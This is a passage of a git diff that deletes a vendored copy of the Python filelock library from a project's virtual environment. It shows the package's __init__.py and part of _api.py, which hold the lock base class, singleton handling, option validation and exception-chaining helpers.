CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/filelock/__init__.py b/venv/Lib/site-packages/filelock/__init__.py deleted file mode 100644 index 03cb401d57b4f6bbd37a071a913cd9793bbd86a3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/__init__.py +++ /dev/null @@ -1,115 +0,0 @@ -""" -A platform independent file lock that supports the with-statement. - -.. autodata:: filelock.__version__ - :no-value: - -""" - -from __future__ import annotations - -import sys -import warnings -from typing import TYPE_CHECKING, Final - -from ._api import AcquireReturnProxy, BaseFileLock, CloseErrorPolicy, ContextErrorPolicy, LockOptions -from ._descriptor import lock_descriptor, unlock_descriptor -from ._error import LeaseSettingsMismatch, SoftFileLockLifetimeWarning, SoftFileLockProtocolError, Timeout -from ._lease import LeaseCompromise, SoftFileLease -from ._marker import MarkerSoftFileLock, OwnerRecord - -if TYPE_CHECKING: - from ._async_read_write import ( - AsyncAcquireReadWriteReturnProxy, - AsyncReadWriteLock, - ) - from ._read_write import ReadWriteLock -else: - try: - from ._async_read_write import AsyncAcquireReadWriteReturnProxy, AsyncReadWriteLock - from ._read_write import ReadWriteLock - except ImportError: # pragma: lacks sqlite3 - AsyncAcquireReadWriteReturnProxy = None - AsyncReadWriteLock = None - ReadWriteLock = None - -from ._soft import SoftFileLock -from ._soft_rw import AsyncAcquireSoftReadWriteReturnProxy, AsyncSoftReadWriteLock, SoftReadWriteLock -from ._strict import StrictSoftFileClaim, StrictSoftFileClaimState, StrictSoftFileLock -from ._unix import UnixFileLock, has_fcntl -from ._windows import WindowsFileLock -from .asyncio import ( - AsyncAcquireReturnProxy, - AsyncSoftFileLease, - AsyncSoftFileLock, - AsyncStrictSoftFileLock, - AsyncUnixFileLock, - AsyncWindowsFileLock, - BaseAsyncFileLock, -) -from .version import version - -#: version of the project as a string -__version__: Final[str] = version - - -if sys.platform == "win32": # pragma: win32 cover - _FileLock: type[BaseFileLock] = WindowsFileLock - _AsyncFileLock: type[BaseAsyncFileLock] = AsyncWindowsFileLock -else: # pragma: win32 no cover # ruff:ignore[collapsible-else-if] # the else carries the win32 no-cover pragma - if has_fcntl: - _FileLock: type[BaseFileLock] = UnixFileLock - _AsyncFileLock: type[BaseAsyncFileLock] = AsyncUnixFileLock - else: - _FileLock = SoftFileLock - _AsyncFileLock = AsyncSoftFileLock - warnings.warn("only soft file lock is available", stacklevel=2) - -if TYPE_CHECKING: - FileLock = SoftFileLock - AsyncFileLock = AsyncSoftFileLock -else: - #: Alias for the lock, which should be used for the current platform. - FileLock = _FileLock - AsyncFileLock = _AsyncFileLock - - -__all__ = [ - "AcquireReturnProxy", - "AsyncAcquireReadWriteReturnProxy", - "AsyncAcquireReturnProxy", - "AsyncAcquireSoftReadWriteReturnProxy", - "AsyncFileLock", - "AsyncReadWriteLock", - "AsyncSoftFileLease", - "AsyncSoftFileLock", - "AsyncSoftReadWriteLock", - "AsyncStrictSoftFileLock", - "AsyncUnixFileLock", - "AsyncWindowsFileLock", - "BaseAsyncFileLock", - "BaseFileLock", - "CloseErrorPolicy", - "ContextErrorPolicy", - "FileLock", - "LeaseCompromise", - "LeaseSettingsMismatch", - "LockOptions", - "MarkerSoftFileLock", - "OwnerRecord", - "ReadWriteLock", - "SoftFileLease", - "SoftFileLock", - "SoftFileLockLifetimeWarning", - "SoftFileLockProtocolError", - "SoftReadWriteLock", - "StrictSoftFileClaim", - "StrictSoftFileClaimState", - "StrictSoftFileLock", - "Timeout", - "UnixFileLock", - "WindowsFileLock", - "__version__", - "lock_descriptor", - "unlock_descriptor", -] diff --git a/venv/Lib/site-packages/filelock/_api.py b/venv/Lib/site-packages/filelock/_api.py deleted file mode 100644 index 243f94a139d74befc06c3126f8c5eb05d4a0a1e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_api.py +++ /dev/null @@ -1,1826 +0,0 @@ -from __future__ import annotations - -import contextlib -import inspect -import logging -import math -import os -import secrets -import sys -import time -import warnings -from abc import ABCMeta, abstractmethod -from collections.abc import Callable, Hashable -from contextlib import contextmanager -from dataclasses import dataclass -from itertools import count, starmap -from threading import Condition, RLock, get_ident, local -from typing import TYPE_CHECKING, Final, Literal, NoReturn, TypedDict, TypeVar, cast -from weakref import WeakKeyDictionary, WeakValueDictionary - -from ._error import SoftFileLockLifetimeWarning, Timeout -from ._util import break_lock_file - -#: No explicit file permission mode was passed. Lock files then open with 0o666 so umask and default ACLs pick -#: the final permissions, and fchmod is skipped to preserve POSIX default ACL inheritance. -_UNSET_FILE_MODE: Final[int] = -1 - -#: Ceiling on the retry counter used as a power of two, so a long contended wait cannot overflow the backoff multiply. -_MAX_BACKOFF_EXPONENT: Final[int] = 20 - -#: How a context manager reconciles a body failure with a release failure on exit (see the property of this name). -ContextErrorPolicy = Literal["chain", "group"] -_CONTEXT_ERROR_POLICIES: Final[frozenset[str]] = frozenset({"chain", "group"}) - -#: What a descriptor-owning backend does with an ``os.close`` failure after relinquishing ownership (see the property). -CloseErrorPolicy = Literal["default", "raise", "suppress"] -_CLOSE_ERROR_POLICIES: Final[frozenset[str]] = frozenset({"default", "raise", "suppress"}) - -if TYPE_CHECKING: - from collections.abc import Generator - from types import TracebackType - from typing import Protocol - - from _typeshed import Unused - - from ._read_write import ReadWriteLock - from ._soft_rw import SoftReadWriteLock - - class _ForkResettable(Protocol): - def _reset_after_fork_in_child(self) -> None: ... - - class _ForkDescriptorOwner(Protocol): - def _descriptors_for_fork(self) -> tuple[tuple[int, tuple[int, int] | None], ...]: ... - - # Matched against the class object itself rather than `type[...]` of it. A metaclass supplies this method to the - # class while leaving instances without it, so a `type[_ForkResettableClass]` bound rejects `ReadWriteLock`. - class _ForkResettableClass(Protocol): - def _reset_class_after_fork(self) -> None: ... - - class _RegisterAtFork(Protocol): - def __call__( - self, - *, - before: Callable[[], None] | None = None, - after_in_parent: Callable[[], None] | None = None, - after_in_child: Callable[[], None] | None = None, - ) -> None: ... - - if sys.version_info >= (3, 11): # pragma: no cover (py311+) - from typing import Self - else: # pragma: no cover ( type[BaseException]: - # BaseExceptionGroup is a builtin on 3.11+; on 3.10 it needs the exceptiongroup backport. filelock keeps zero - # runtime dependencies, so the backport is imported lazily rather than required, and only group mode needs it. - if sys.version_info >= (3, 11): # pragma: no cover (py311+) - return BaseExceptionGroup # ruff:ignore[undefined-name] # builtin on 3.11+ - # Alias the import so BaseExceptionGroup above stays the builtin rather than an unbound local of this function. - from exceptiongroup import ( # ruff:ignore[import-outside-top-level] # pragma: no cover ( NoReturn: - errors = (first_error, second_error, *additional_errors) - _detach_grouped_contexts(errors) - group = _exception_group_cls()(message, errors) - if marker is not None: - setattr(group, marker[0], marker[1]) - raise group from None - - -def _detach_grouped_contexts(errors: tuple[BaseException, ...]) -> None: - seen: set[int] = set() - pending = list(errors) - while pending: - error = pending.pop() - if id(error) in seen: - continue - seen.add(id(error)) - if (context := error.__context__) is not None and ( - context is error - or _same_exception_tree(error, context) - or any(context is root or _contains_exception(root, context) for root in errors) - ): - error.__context__ = None - elif context is not None: - pending.append(context) - if error.__cause__ is not None: - pending.append(error.__cause__) - if isinstance(error, _exception_group_cls()): - pending.extend(cast("_ExceptionGroupProtocol", error).exceptions) - - -def _same_exception_tree(first: BaseException, second: BaseException) -> bool: - pending = [(first, second)] - seen: set[tuple[int, int]] = set() - while pending: - first_error, second_error = pending.pop() - if first_error is second_error: - continue - if (pair := (id(first_error), id(second_error))) in seen: - continue - seen.add(pair) - if ( - type(first_error) is not type(second_error) - or not isinstance(first_error, _exception_group_cls()) - or not isinstance(second_error, _exception_group_cls()) - ): - return False - first_group = cast("_ExceptionGroupProtocol", first_error) - second_group = cast("_ExceptionGroupProtocol", second_error) - if first_group.message != second_group.message or len(first_group.exceptions) != len(second_group.exceptions): - return False - pending.extend(zip(first_group.exceptions, second_group.exceptions, strict=True)) - return True - - -def _contains_exception(error: BaseException, target: BaseException | None) -> bool: - if target is None or not isinstance(error, _exception_group_cls()): - return False - pending = list(cast("_ExceptionGroupProtocol", error).exceptions) - seen: set[int] = set() - while pending: - child = pending.pop() - if child is target: - return True - if id(child) in seen: - continue - seen.add(id(child)) - if isinstance(child, _exception_group_cls()): - pending.extend(cast("_ExceptionGroupProtocol", child).exceptions) - return False - - -def _append_exception_context(error: BaseException, context: BaseException) -> None: - if _exception_graph_contains(error, context) or _exception_graph_contains(context, error): - return - if error.__context__ is None: - error.__context__ = context - return - tail = error - seen: set[int] = set() - while id(tail) not in seen: - seen.add(id(tail)) - if (next_error := tail.__cause__ if tail.__cause__ is not None else tail.__context__) is None: - tail.__context__ = context - return - tail = next_error - - -def _exception_graph_contains(error: BaseException, target: BaseException) -> bool: - pending = [error] - seen: set[int] = set() - while pending: - current = pending.pop() - if current is target: - return True - if id(current) in seen: # pragma: no cover - arbitrary caller exceptions can contain cycles - continue - seen.add(id(current)) - if current.__cause__ is not None: - pending.append(current.__cause__) - if current.__context__ is not None: - pending.append(current.__context__) - if isinstance(current, _exception_group_cls()): - pending.extend(cast("_ExceptionGroupProtocol", current).exceptions) - return False - - -def _grouped_errors( - error: BaseException, message: str, marker: tuple[str, _MarkerValue] -) -> tuple[BaseException, ...] | None: - if not isinstance(error, _exception_group_cls()): - return None - group = cast("_ExceptionGroupProtocol", error) - return group.exceptions if group.message == message and getattr(group, marker[0], None) is marker[1] else None - - -if TYPE_CHECKING: - - class _ExceptionGroupProtocol(Protocol): - @property - def message(self) -> str: ... - - @property - def exceptions(self) -> tuple[BaseException, ...]: ... - - -def _raise_chained_errors(first_error: BaseException, second_error: BaseException | None = None) -> NoReturn: - if second_error is None: - first_context = first_error.__context__ - try: - raise first_error # ruff:ignore[raise-within-try] # the handler restores caller-supplied context before propagation - except BaseException: - first_error.__context__ = first_context - raise - if (second_context := second_error.__context__) is not None and second_context is not first_error: - _detach_exception_context(second_context, first_error) - _append_exception_context(first_error, second_context) - first_context = first_error.__context__ - try: - raise first_error # ruff:ignore[raise-within-try] # the second raise needs this error as implicit context - except BaseException: # ruff:ignore[blind-except] # first_error may be a control-flow exception - first_error.__context__ = first_context - try: - raise second_error # ruff:ignore[raise-within-try] # the handler makes the chain interpreter-independent - except BaseException: - second_error.__context__ = first_error - first_error.__context__ = first_context - raise - - -def _detach_exception_context(error: BaseException, target: BaseException) -> None: - pending = [error] - seen: set[int] = set() - while pending: - current = pending.pop() - if id(current) in seen: - continue - seen.add(id(current)) - if current.__context__ is target: - current.__context__ = None - elif current.__context__ is not None: - pending.append(current.__context__) - if current.__cause__ is not None: - pending.append(current.__cause__) - if isinstance(current, _exception_group_cls()): - pending.extend(cast("_ExceptionGroupProtocol", current).exceptions) - - -def _raise_body_and_release(body_error: BaseException, release_error: BaseException) -> NoReturn: - # Group mode: surface the body failure and the release failure as sibling leaves instead of letting one hide in the - # other's __context__. BaseExceptionGroup returns a plain ExceptionGroup when both leaves subclass Exception, so - # ``except*`` and ``except Exception`` still catch them; a BaseException leaf (KeyboardInterrupt, CancelledError) - # keeps the group outside ordinary handlers. ``from None`` stops the group itself gaining a redundant __context__. - _raise_grouped_errors("lock body and release both failed", body_error, release_error) - - -def _raise_cleanup_errors( - message: str, - primary_error: BaseException, - *cleanup_errors: BaseException | None, -) -> NoReturn: - _raise_grouped_errors( - message, - primary_error, - *(error for error in cleanup_errors if error is not None), - ) - - -# On Windows os.path.realpath calls CreateFileW with share_mode=0, which blocks concurrent DeleteFileW and causes -# livelocks under threaded contention with SoftFileLock. os.path.abspath is purely string-based and avoids this. -_resolve_dir: Final[Callable[[str], str]] = os.path.abspath if sys.platform == "win32" else os.path.realpath - - -def _canonical(path: str | os.PathLike[str]) -> str: - """ - Return one stable key for *path*, collapsing equivalent spellings without following a final symlink. - - Relative, absolute, and ``./`` spellings of one lock file must map to a single singleton instance, deadlock-registry - entry, and removal key. Resolving the whole path with ``realpath`` would follow a final symlink and alias a lock - target the backend deliberately rejects, so the registry identity would differ from the backend's. Resolving only - the parent directory and re-appending the literal final component collapses the equivalent spellings while keeping a - final symlink a distinct key. On Windows the parent is resolved with ``abspath`` so junctions and reparse points are - not followed either. - """ - parent, name = os.path.split(os.fspath(path)) - return os.path.join(_resolve_dir(parent or os.curdir), name) # ruff:ignore[os-path-join] # string join matches abspath/realpath - - -class _ThreadLocalRegistry(local): - def __init__(self) -> None: - super().__init__() - self.held: dict[Hashable, int] = {} - - -_registry: Final[_ThreadLocalRegistry] = _ThreadLocalRegistry() - - -_T = TypeVar("_T", bound="BaseFileLock") - - -class FileLockMeta(ABCMeta): - _instances: WeakValueDictionary[str, BaseFileLock] - _instances_lock: RLock - _instances_under_construction: set[str] - - def __call__( # ruff:ignore[too-many-arguments] # forwards the public constructor's documented parameters - cls: type[_T], - lock_file: str | os.PathLike[str], - timeout: float = -1, - mode: int = _UNSET_FILE_MODE, - thread_local: bool = True, # ruff:ignore[boolean-type-hint-positional-argument, boolean-default-value-positional-argument] # public API: positional bool kept for backwards compatibility - *, - blocking: bool = True, - is_singleton: bool = False, - poll_interval: float = 0.05, - lifetime: float | None = None, - context_error_policy: ContextErrorPolicy = "chain", - close_error_policy: CloseErrorPolicy = "default", - fallback_to_soft: bool = True, - preserve_lock_file: bool = False, - on_acquired: Callable[[int], None] | None = None, - **kwargs: _ExtraValue, - ) -> _T: - _ensure_current_process() - lifetime = _resolve_lifetime(lifetime, cls, stacklevel=cls._constructor_lifetime_warning_stacklevel) - # Validate before building the instance: a raise inside __init__ would leave a half-constructed object whose - # __del__ then trips over the missing context. - context_error_policy = _resolve_context_error_policy(context_error_policy) - close_error_policy = _resolve_close_error_policy(close_error_policy) - preserve_lock_file = _resolve_preserve_lock_file( - preserve=preserve_lock_file, supported=cls._preserve_lock_file_supported, cls_name=cls.__name__ - ) - on_acquired = _resolve_on_acquired(on_acquired, supported=cls._on_acquired_supported, cls_name=cls.__name__) - params: dict[str, _LockInitValue | _ExtraValue] = { - "timeout": timeout, - "mode": mode, - "thread_local": thread_local, - "blocking": blocking, - "is_singleton": is_singleton, - "poll_interval": poll_interval, - "lifetime": lifetime, - "context_error_policy": context_error_policy, - "close_error_policy": close_error_policy, - "fallback_to_soft": fallback_to_soft, - "preserve_lock_file": preserve_lock_file, - "on_acquired": on_acquired, - **kwargs, - } - if not is_singleton: - return cls._create_instance(lock_file, params) - - # Look up, build and store under one lock. Without it two threads racing the first construction for a - # path both miss the cache and each build their own instance, so callers relying on is_singleton for - # reentrant locking across instances end up with two "singletons" and acquire()'s deadlock check then - # rejects a legitimate reentrant acquire; the unguarded writes to the WeakValueDictionary are a data - # race besides. ReadWriteLock and SoftReadWriteLock already guard their singleton caches this way. - # Key the cache on the canonical form so equivalent spellings of one path share a singleton, and it matches the - # deadlock-registry key acquire() uses. - singleton_key = _canonical(lock_file) - with cls._instances_lock: - if (instance := cls._instances.get(singleton_key)) is None: - if singleton_key in cls._instances_under_construction: # pragma: needs fork - msg = f"Singleton lock construction is already active for {lock_file!s}" - raise RuntimeError(msg) - construction_registry = cls._instances_under_construction - construction_pid = os.getpid() - construction_registry.add(singleton_key) - try: - instance = cls._create_instance(lock_file, params) - finally: - construction_registry.discard(singleton_key) - if os.getpid() != construction_pid: # pragma: needs fork - msg = "Lock construction cannot continue after fork; construct a new lock in the child" - raise RuntimeError(msg) - cls._instances[singleton_key] = instance - return instance - - params_to_check = { - "thread_local": (thread_local, instance.is_thread_local()), - "timeout": (timeout, instance.timeout), - "mode": (mode, instance._context.mode), # ruff:ignore[private-member-access] # compares against the managed instance's own context - "blocking": (blocking, instance.blocking), - "poll_interval": (poll_interval, instance.poll_interval), - "lifetime": (lifetime, instance.lifetime), - "context_error_policy": (context_error_policy, instance.context_error_policy), - "close_error_policy": (close_error_policy, instance.close_error_policy), - "fallback_to_soft": (fallback_to_soft, instance.fallback_to_soft), - "preserve_lock_file": (preserve_lock_file, instance.preserve_lock_file), - } - non_matching_params = { - name: (passed_param, set_param) - for name, (passed_param, set_param) in params_to_check.items() - if passed_param != set_param - } - # Callables compare by identity, not equality: two equal callables can close over different state, so a - # singleton must reject a different hook object even if it compares equal. Keep it out of the scalar dict above. - hook_mismatch = on_acquired is not instance.on_acquired - if not non_matching_params and not hook_mismatch: - return instance # ty: ignore[invalid-return-type] # https://github.com/astral-sh/ty/issues/3231 - - msg = "Singleton lock instances cannot be initialized with differing arguments" - msg += "\nNon-matching arguments: " - for param_name, (passed_param, set_param) in non_matching_params.items(): - msg += f"\n\t{param_name} (existing lock has {set_param} but {passed_param} was passed)" - if hook_mismatch: - msg += f"\n\ton_acquired (existing lock has {instance.on_acquired} but {on_acquired} was passed)" - raise ValueError(msg) - - def _create_instance( - cls: type[_T], lock_file: str | os.PathLike[str], params: dict[str, _LockInitValue | _ExtraValue] - ) -> _T: - model = _init_parameter_model(cls) - if model.accepts_kwargs: - return super().__call__(lock_file, **params) - - unsupported = sorted( - name - for name, value in params.items() - if name not in model.accepted_params - and ((parameter := model.default_params.get(name)) is None or value != parameter.default) - ) - if unsupported: - msg = f"{cls.__name__} does not support non-default lock options: {', '.join(unsupported)}" - raise TypeError(msg) - # virtualenv narrows a BaseFileLock descendant's signature; omit base defaults it does not accept (#340). - return super().__call__( - lock_file, - **{name: value for name, value in params.items() if name in model.accepted_params}, - ) - - -_INIT_PARAMETER_MODELS: Final[WeakKeyDictionary[type[BaseFileLock], _InitParameterModel]] = WeakKeyDictionary() - - -def _init_parameter_model(cls: type[BaseFileLock]) -> _InitParameterModel: - # A strong cache would keep dynamically created subclasses alive for the process lifetime. - with _fork_transition(), _FORK_STATE.parameter_models_lock: - if (model := _INIT_PARAMETER_MODELS.get(cls)) is None: - parameters = inspect.signature(cls.__init__).parameters.values() - model = _InitParameterModel( - accepted_params=frozenset( - parameter.name - for parameter in parameters - if parameter.kind in {inspect.Parameter.POSITIONAL_OR_KEYWORD, inspect.Parameter.KEYWORD_ONLY} - ), - accepts_kwargs=any(parameter.kind is inspect.Parameter.VAR_KEYWORD for parameter in parameters), - default_params={ - name: parameter - for name, parameter in inspect.signature(type(cls).__call__).parameters.items() - if parameter.default is not inspect.Parameter.empty - }, - ) - _INIT_PARAMETER_MODELS[cls] = model - return model - - -@dataclass(frozen=True) -class _InitParameterModel: - accepted_params: frozenset[str] - accepts_kwargs: bool - default_params: dict[str, inspect.Parameter] - - -def _resolve_lifetime(lifetime: float | None, cls: type[BaseFileLock], *, stacklevel: int) -> float | None: - """ - Validate ``lifetime`` and drop a value the backend cannot honor. - - ``lifetime`` is a deliberate age-based lease: a lock file older than ``lifetime`` is broken even while its holder is - still alive. Existence locks (:class:`SoftFileLock`) implement that behavior by unlinking a reclaimable pathname, - which can overlap a live holder. A native OS lock lives on the inode, so unlinking the pathname by age cannot revoke - the kernel lock; a contender would lock a fresh inode and overlap the live holder (#590). Ignore the request with a - warning rather than accept a setting that breaks mutual exclusion. - """ - if lifetime is not None: - if isinstance(lifetime, bool) or not isinstance(lifetime, (int, float)): - msg = f"lifetime must be a finite non-negative number or None, not {type(lifetime).__name__}" - raise TypeError(msg) - if lifetime < 0 or (isinstance(lifetime, float) and not math.isfinite(lifetime)): - msg = f"lifetime must be finite and non-negative, not {lifetime!r}" - raise ValueError(msg) - if lifetime is not None and not cls._lifetime_supported: - warnings.warn( - f"lifetime is ignored for {cls.__name__}: {cls._lifetime_unsupported_reason}; " - f"only SoftFileLock supports lifetime-based expiry", - stacklevel=stacklevel, - ) - return None - if lifetime is not None and cls._lifetime_replacements is not None: - strict_lock, lease = cls._lifetime_replacements - warnings.warn( - f"{cls.__name__}(lifetime=...) uses age-based expiry and can overlap a live holder; " - f"use {lease} for expiry or {strict_lock} for fail-closed locking", - SoftFileLockLifetimeWarning, - stacklevel=stacklevel, - ) - return lifetime - - -def _resolve_context_error_policy(policy: str) -> ContextErrorPolicy: - if policy not in _CONTEXT_ERROR_POLICIES: - msg = f"context_error_policy must be 'chain' or 'group', got {policy!r}" - raise ValueError(msg) - if policy == "group": # fail fast at construction rather than only when a dual failure happens to occur - try: - _exception_group_cls() - except ImportError as exc: # pragma: no cover # only on 3.10 without the exceptiongroup backport - msg = "context_error_policy='group' requires Python 3.11+ or the 'exceptiongroup' backport installed" - raise ValueError(msg) from exc - return cast("ContextErrorPolicy", policy) - - -def _resolve_close_error_policy(policy: str) -> CloseErrorPolicy: - if policy not in _CLOSE_ERROR_POLICIES: - msg = f"close_error_policy must be 'default', 'raise', or 'suppress', got {policy!r}" - raise ValueError(msg) - return cast("CloseErrorPolicy", policy) - - -def _resolve_preserve_lock_file(*, preserve: bool, supported: bool, cls_name: str) -> bool: - # An existence lock unlinks its marker to release, so preserving the pathname would defeat unlocking. Reject the - # request rather than silently ignore it, since a caller asking for a stable identity must know it cannot be kept. - if preserve and not supported: - msg = f"preserve_lock_file=True is not supported by {cls_name}: unlinking its marker is how it releases" - raise ValueError(msg) - return preserve - - -def _resolve_on_acquired( - on_acquired: Callable[[int], None] | None, *, supported: bool, cls_name: str -) -> Callable[[int], None] | None: - if on_acquired is None: - return None - # An existence lock stores protocol state in its marker, so a caller writing through the descriptor would corrupt - # stale detection and ownership metadata; only native locks lend out the descriptor. - if not supported: - msg = f"on_acquired is not supported by {cls_name}: only native locks expose the lock descriptor" - raise ValueError(msg) - # A hook that fails and then also fails to release surfaces both errors as a BaseExceptionGroup. Require that class - # at construction rather than at the rare moment both fail, matching how context_error_policy='group' validates. - try: - _exception_group_cls() - except ImportError as exc: # pragma: no cover # only on 3.10 without the exceptiongroup backport - msg = "on_acquired requires Python 3.11+ or the 'exceptiongroup' backport for its rollback error path" - raise ValueError(msg) from exc - return on_acquired - - -class BaseFileLock(contextlib.ContextDecorator, metaclass=FileLockMeta): # ruff:ignore[too-many-public-methods] # public config properties - """ - Abstract base class for a file lock object. - - Provides the common reentrant API and state management. Subclasses implement the locking mechanism - (:class:`UnixFileLock `, :class:`WindowsFileLock `, - :class:`SoftFileLock `). - - """ - - _instances: WeakValueDictionary[str, BaseFileLock] - _instances_lock: RLock - _instances_under_construction: set[str] - - #: How the cross-instance deadlock message names the conflicting holder; the async subclass says "task". - _deadlock_holder_desc: str = "FileLock instance in this thread" - - #: Whether an age-based :attr:`lifetime` lease may break this lock. Only existence locks set it (they reclaim by - #: unlinking a pathname); native OS locks leave it ``False`` since a kernel lock cannot be revoked by file age. - _lifetime_supported: bool = False - - #: Strict-lock and lease replacements for a backend with legacy age-based expiry. - _lifetime_replacements: tuple[str, str] | None = None - - #: Why a backend that refuses ``lifetime`` cannot honor it, named in the warning that drops the value. - _lifetime_unsupported_reason: str = "a native OS lock cannot be broken safely by file age" - - #: Async construction adds one metaclass frame before lifetime validation. - _constructor_lifetime_warning_stacklevel: int = 3 - - #: Whether :attr:`preserve_lock_file` may be ``True``. Native locks keep the pathname on release, so they support - #: it; existence locks unlink their marker to release and reject it. - _preserve_lock_file_supported: bool = True - - #: Whether an :attr:`on_acquired` hook may be set. Native locks lend the descriptor out; existence locks keep - #: protocol state in the marker and reject it. - _on_acquired_supported: bool = True - - #: Whether a shared instance serializes its physical acquire and release behind one gate. A backend that publishes - #: several files per owner needs it; a single-file backend is atomic and leaves it off to skip the gate entirely. - _serialize_transitions: bool = False - - #: Ceiling in seconds on the jittered backoff between contended acquisition retries. ``0`` keeps the fixed - #: poll cadence; a multi-file backend sets it so contending processes desynchronize instead of livelocking. - _poll_backoff_cap: float = 0.0 - - def __init_subclass__(cls, **kwargs: _SubclassValue) -> None: - """Give each lock subclass its own singleton registry and lock.""" - super().__init_subclass__(**kwargs) - cls._instances = WeakValueDictionary() - cls._instances_lock = RLock() - cls._instances_under_construction = set() - _register_fork_class(cls) - - @classmethod - def _reset_class_after_fork(cls) -> None: # pragma: forked child - cls._instances = WeakValueDictionary() - cls._instances_lock = RLock() - cls._instances_under_construction = set() - - def __init__( # ruff:ignore[too-many-arguments] # public constructor: one parameter per documented lock option - self, - lock_file: str | os.PathLike[str], - timeout: float = -1, - mode: int = _UNSET_FILE_MODE, - thread_local: bool = True, # ruff:ignore[boolean-type-hint-positional-argument, boolean-default-value-positional-argument] # public API: positional bool kept for backwards compatibility - *, - blocking: bool = True, - is_singleton: bool = False, - poll_interval: float = 0.05, - lifetime: float | None = None, - context_error_policy: ContextErrorPolicy = "chain", - close_error_policy: CloseErrorPolicy = "default", - fallback_to_soft: bool = True, - preserve_lock_file: bool = False, - on_acquired: Callable[[int], None] | None = None, - ) -> None: - """ - Create a new lock object. - - :param lock_file: path to the file - :param timeout: default timeout when acquiring the lock, in seconds. It will be used as fallback value in the - acquire method, if no timeout value (``None``) is given. If you want to disable the timeout, set it to a - negative value. A timeout of 0 means that there is exactly one attempt to acquire the file lock. - :param mode: file permissions for the lockfile. When not specified, the OS controls permissions via umask and - default ACLs, preserving POSIX default ACL inheritance in shared directories. - :param thread_local: Whether this object's internal context should be thread local or not. If this is set to - ``False`` then the lock will be reentrant across threads. When ``True`` (the default), **all fields of the - lock's internal context are per-thread**, including the configuration values ``poll_interval``, ``timeout``, - ``blocking``, ``mode``, and ``lifetime``. Setting one of these properties from one thread does not change - the value seen by another thread; threads that did not perform the write continue to see the value supplied - at construction time. If you need configuration values to be visible across threads, construct the lock - with ``thread_local=False``. - :param blocking: whether the lock should be blocking or not - :param is_singleton: If this is set to ``True`` then only one instance of this class will be created per lock - file. This is useful if you want to use the lock object for reentrant locking without needing to pass the - same object around. - :param poll_interval: default interval for polling the lock file, in seconds. It will be used as fallback value - in the acquire method, if no poll_interval value (``None``) is given. - :param lifetime: for :class:`SoftFileLock`, the age in seconds after which a waiting process may delete the - marker, even while its holder remains alive. This legacy expiry mode does not provide strict mutual - exclusion. ``None`` (the default) disables age-based expiry. Native OS locks (:class:`FileLock`) cannot be - revoked by file age and ignore a non-``None`` ``lifetime`` with a warning. - :param context_error_policy: how a context manager reconciles a failure in its body with a failure while - releasing on exit. ``"chain"`` (the default) keeps Python's behavior: the release error propagates with the - body error in its ``__context__``. ``"group"`` raises a :class:`BaseExceptionGroup` holding the body error - first and the release error second, so neither hides the other. - :param close_error_policy: what to do with an ``os.close`` failure after relinquishing descriptor ownership. - ``"default"`` keeps each backend's historical behavior (Unix native locks drop a FUSE/Docker ``EIO``; - Windows native locks and :class:`SoftFileLock` propagate); ``"raise"`` always propagates the ``OSError``; - ``"suppress"`` always ignores it. Held state is released either way. It does not affect unlock failures or - lock-file deletion. - :param fallback_to_soft: for :class:`UnixFileLock`, whether to switch to :class:`SoftFileLock` when the - filesystem's ``flock`` returns ``ENOSYS``. ``True`` (the default) keeps the historical fallback; - ``False`` fails closed, letting the ``ENOSYS`` propagate so a caller that needs kernel-enforced - locking is never silently downgraded. It has no effect on Windows or :class:`SoftFileLock`. - :param preserve_lock_file: for native locks (:class:`FileLock`), whether filelock promises not to unlink the - lock pathname on release. ``False`` (the default) keeps each backend's cleanup: Windows removes the lock - file, Unix already leaves it. ``True`` keeps a stable file identity for ACLs, auditing, and holder metadata: - Windows skips its post-release unlink and Unix refuses to enter the ``ENOSYS`` soft fallback (which releases - by unlinking). :class:`SoftFileLock` rejects ``True``. The promise covers filelock's own release path only; - it cannot stop another process or the filesystem from removing the pathname. - :param on_acquired: for native locks (:class:`FileLock`), a callable invoked with the borrowed lock descriptor - once per physical acquisition, after filelock holds the native lock and finished backend initialization but - before :meth:`~BaseFileLock.acquire` returns. Recursive acquisitions do not call it again. The callback may - read, write, seek, truncate, or set metadata through ``os`` on the descriptor, but must not close, unlock, - or take ownership of it, and filelock does not fsync its writes. If it raises, filelock releases the lock - and re-raises. :class:`SoftFileLock` rejects the hook. - - """ - self._creator_pid = os.getpid() - self._transition_lock = RLock() - self._is_thread_local = thread_local - self._is_singleton = is_singleton - self._context_error_policy = context_error_policy # already validated by the metaclass - self._close_error_policy = close_error_policy # already validated by the metaclass - self._fallback_to_soft = fallback_to_soft - self._preserve_lock_file = preserve_lock_file # already validated by the metaclass - self._on_acquired = on_acquired # already validated by the metaclass - - self._context: FileLockContext = (ThreadLocalFileContext if thread_local else FileLockContext)( - lock_file=os.fspath(lock_file), - timeout=timeout, - mode=mode, - blocking=blocking, - poll_interval=poll_interval, - lifetime=lifetime, - ) - _register_fork_object(self) - - def is_thread_local(self) -> bool: - """:returns: a flag indicating if this lock is thread local or not""" - return self._is_thread_local - - @property - def is_singleton(self) -> bool: - """ - A flag indicating if this lock is singleton or not. - - .. versionadded:: 3.13.0 - - """ - return self._is_singleton - - @property - def context_error_policy(self) -> ContextErrorPolicy: - """ - How a context manager reconciles a body failure with a release failure on exit. - - .. versionadded:: 3.30.0 - - """ - return self._context_error_policy - - @property - def close_error_policy(self) -> CloseErrorPolicy: - """ - What a lock does with an ``os.close`` failure after relinquishing descriptor ownership. - - .. versionadded:: 3.30.0 - - """ - return self._close_error_policy - - def _close_released_fd(self, fd: int, *, default_suppresses: bool) -> None: - # CPython never retries close() after EINTR because the descriptor number may already be reused, so neither does - # this. close_error_policy decides the error's fate after the backend relinquishes descriptor ownership. - try: - os.close(fd) - except OSError: - if self._close_error_policy == "suppress" or (self._close_error_policy == "default" and default_suppresses): - return - raise - - @property - def fallback_to_soft(self) -> bool: - """ - Whether a :class:`FileLock` falls back to :class:`SoftFileLock` when the filesystem lacks ``flock``. - - Only :class:`UnixFileLock` acts on it: when ``False`` an ``ENOSYS`` from ``flock`` propagates instead of - switching to existence-lock semantics. - - .. versionadded:: 3.30.0 - - """ - return self._fallback_to_soft - - @property - def preserve_lock_file(self) -> bool: - """ - Whether filelock promises not to unlink the lock pathname on release. - - When ``True``, Windows skips its post-release unlink and Unix refuses the ``ENOSYS`` soft fallback. - :class:`SoftFileLock` rejects ``True`` because unlinking its marker is how it releases. 